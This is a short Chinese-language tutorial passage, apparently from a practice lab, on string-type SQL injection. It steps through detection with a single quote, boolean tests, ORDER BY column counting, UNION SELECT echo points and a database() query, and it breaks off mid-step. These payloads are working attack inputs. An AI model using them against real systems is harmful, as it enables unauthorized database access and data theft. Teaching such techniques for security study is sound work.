一:字符型注入
当输入的参数为字符串时,称为字符型,需要用单引号来闭合。
初始页面是这样的:
第一步:判断注入类型
1.在name=root
后添加一个单引号使之变为name=root'
,发现页面返回错误:
说明存在注入。
2.接下来构造语句name=root' and '1'=1--+'
,页面返回正常:
将
and '1'=1
改成and '1'=2
,发现页面返回错误:
说明这里的注入是字符型注入。
第二步:判断字段长
构造语句root' order by 5%23
,页面返回正常:
将5改成6,则返回错误:
说明字段长是5.
第三步:判断回显点
构造语句:
root' union select 1,2,3,4,5%23
发现回显点是
1,2,3
第四步:查看数据库信息
构造语句:
root' union select 1,database(),3,4,5%23
</